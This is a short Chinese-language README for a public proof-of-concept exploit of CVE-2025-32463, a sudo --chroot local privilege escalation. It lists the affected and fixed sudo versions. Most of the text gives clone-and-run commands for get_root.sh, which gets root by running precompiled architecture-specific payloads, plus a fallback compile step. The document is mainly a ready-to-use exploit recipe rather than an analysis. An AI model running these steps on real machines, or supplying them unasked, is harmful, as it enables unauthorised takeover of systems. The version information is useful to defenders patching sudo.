CVE-2025-32463

• 受影响版本：sudo 1.9.14、1.9.15、1.9.16、1.9.17 - 已修复版本：sudo 1.9.17p1 及更高版本 - 早于 1.9.14 的旧版本不受影响，因为它们不支持 --chroot 选项。

# get_root.sh 和 get_root.py 功能相同。
git clone https://github.com/shazed-x/CVE-2025-32463
cd CVE-2025-32463
./get_root.sh

目标机器上无需安装 gcc。该 PoC 通过检测当前 架构（例如 x86_64、aarch64），然后执行相应的动态 预编译载荷。如果失败，则回退到静态载荷。

如果该漏洞利用在您的机器上失败，您仍然可以使用以下方式编译：

./mkall-dynamic.sh

# 然后运行
./get_root.sh